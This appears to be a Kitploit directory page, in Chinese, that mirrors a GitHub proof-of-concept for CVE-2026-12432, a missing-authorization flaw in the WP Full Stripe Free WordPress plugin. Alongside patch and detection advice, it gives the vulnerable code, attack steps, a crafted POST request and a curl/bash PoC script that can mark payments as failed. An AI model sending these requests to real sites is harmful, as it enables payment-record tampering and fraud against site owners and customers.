Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
By-Poloss..-..CVE-2026-12432-PoC — WP Full Stripe Free <= 8.4.3 - Missing Authorization | Kitploit
工具/GitHubGitHub/polosss/by-poloss..-..cve-2026-12432-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingMisconfiguration
GitHubpolosss/by-poloss..-..cve-2026-12432-poc

By-Poloss..-..CVE-2026-12432-PoC

WP Full Stripe Free <= 8.4.3 - Missing Authorization

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
11个月前尚未审核

CVE-2026-12432:WP Full Stripe Free <= 8.4.3 - 缺少授权

概述

  • CVE ID:CVE-2026-12432
  • CVSS 评分:5.3(中危)
  • CVSS 向量:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
  • 受影响:WP Full Pay 的 Stripe 付款表单 <= 8.4.3
  • 已修补:>= 8.4.4
  • 发布时间:2026年6月26日
  • 最后更新:2026年6月27日
  • 发现者:Netwurm - VTDR e.V.i.G.

漏洞描述

WordPress 的 WP Full Stripe Free 插件在版本 8.4.3 及之前版本中,通过 wpfs_update_failed_payment_status AJAX 操作存在缺少授权漏洞。

根本原因

有漏洞的 AJAX 端点通过 wp_ajax_ 和 wp_ajax_nopriv_ 钩子注册:

root@kitploit:~
// wpfs-customer.php, 第705-706行
add_action( 'wp_ajax_wpfs_update_failed_payment_status', [ $this, 'update_failed_payment_status' ] );
add_action( 'wp_ajax_nopriv_wpfs_update_failed_payment_status', [ $this, 'update_failed_payment_status' ] );

update_failed_payment_status() 函数(第3835-3865行)执行:

  • ❌ 无权限检查(无 current_user_can())
  • ❌ 无 nonce 验证(无 wp_verify_nonce())
  • ❌ 无登录检查(无 is_user_logged_in())

漏洞代码

root@kitploit:~
// wpfs-customer.php, 第3835-3865行
function update_failed_payment_status() {
    try {
        $result = [];
        $failureCode = isset( $_POST['failureCode'] ) ? sanitize_text_field( $_POST['failureCode'] ) : null;
        $failureMessage = isset( $_POST['failureMessage'] ) ? sanitize_text_field( $_POST['failureMessage'] ) : null;
        $paymentIntentId = isset( $_POST['paymentIntentId'] ) ? sanitize_text_field( $_POST['paymentIntentId'] ) : null;

        $paymentIntent = $this->stripe->retrievePaymentIntent( $paymentIntentId );
        // ... 处理前无身份验证检查 ...

        $updateData = [
            'paid' => 0,
            'captured' => 0,
            'refunded' => 0
        ];

        // 攻击者可以使用控制的值覆盖
        if ( $lastCharge ) {
            $updateData['last_charge_status'] = $lastCharge->status;
            $updateData['failure_code'] = $lastCharge->failure_code;
            $updateData['failure_message'] = $lastCharge->failure_message;
        } else {
            $updateData['last_charge_status'] = 'failed';
            $updateData['failure_code'] = $failureCode;
            $updateData['failure_message'] = $failureMessage;
        }

        $this->db->updatePaymentByEventId( $paymentIntentId, $updateData );
        // ...
    }
}

攻击向量

前置条件

  • 必须知道付款意图 ID(正常 Stripe 结账过程中在浏览器中暴露)
  • 无需身份验证

攻击步骤

  1. 识别目标:找到安装了 WP Full Stripe Free <= 8.4.3 的 WordPress 站点
  2. 获取付款意图 ID:从 Stripe.js 结账流程或先前交易中提取
  3. 发送恶意请求:向 admin-ajax.php 发送带有攻击者控制参数的 POST 请求

HTTP 请求

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=wpfs_update_failed_payment_status&paymentIntentId=pi_XXXX&failureCode=ATTACKER_CODE&failureMessage=ATTACKER_MESSAGE

影响评估

影响领域严重性描述
完整性中危攻击者可以将成功付款标记为失败
机密性无无数据泄露

具体影响

  1. 付款记录篡改:攻击者可以将付款状态从“已支付”修改为“失败”
  2. 虚假失败代码:攻击者可以注入任意失败代码/消息
  3. 社会工程学:可用于欺诈客户或对合法收费提出异议
  4. 审计跟踪损坏:业务记录可以被伪造

概念验证(curl)

基本检测

root@kitploit:~
# 测试端点是否无需身份验证即可访问
curl -s -k -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test_cve202612432" \
  -d "failureCode=TEST_CODE" \
  -d "failureMessage=TEST_MESSAGE"

# 预期响应(存在漏洞):
# {"success":false,"messageTitle":"Internal Error","message":"Invalid API Key provided...","exceptionMessage":"..."}

# 关键指标是端点响应时不需要身份验证

完整 PoC 脚本

root@kitploit:~
#!/bin/bash
TARGET="https://TARGET"

# 检查是否存在漏洞
echo "[*] 测试 CVE-2026-12432..."

RESPONSE=$(curl -s -k -X POST "$TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test_123" \
  -d "failureCode=XSS" \
  -d "failureMessage=INJECTED")

if echo "$RESPONSE" | grep -q "success"; then
    echo "[+] 存在漏洞 - 端点无需身份验证即可访问"
else
    echo "[-] 不存在漏洞或出错"
fi

修复建议

立即修复

在 wpfs-customer.php 第3835行添加授权检查:

root@kitploit:~
function update_failed_payment_status() {
    // 添加此检查
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    // ... 函数其余部分
}

推荐修复(由厂商提供)

更新至 WP Full Stripe Free >= 8.4.4

root@kitploit:~
# 通过 WordPress 管理中心
仪表盘 > 插件 > WP Full Stripe > 更新

# 通过 WP-CLI
wp plugin update wp-full-stripe-free

# 通过 SSH
wp plugin update wp-full-stripe-free --version=8.4.4

检测方法

手动检查

  1. 在 WordPress 管理中心检查插件版本
  2. 查看 wp-content/plugins/wp-full-stripe-free/includes/wpfs-customer.php
  3. 检查 AJAX 处理程序前是否缺少 current_user_can()

自动化检测

root@kitploit:~
# 检查是否安装了有漏洞的版本
curl -s https://TARGET/wp-content/plugins/wp-full-stripe-free/readme.txt | grep -i "Stable tag"

# 测试 AJAX 端点
curl -s -k -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test" | grep -q "success" && echo "可能存在漏洞"

参考资料

  • Wordfence Intelligence
  • Plugin Trac
  • Patchstack Database

W.P.E.F

  • W.P.E.F Telegram 频道 #1
  • W.P.E.F Telegram 频道 #2 --

时间线

  • 2026年6月26日:漏洞公开披露
  • 2026年6月27日:CVE-2026-12432 发布
  • 修复:更新至 >= 8.4.4
下载工具
可用性
低
可能破坏业务操作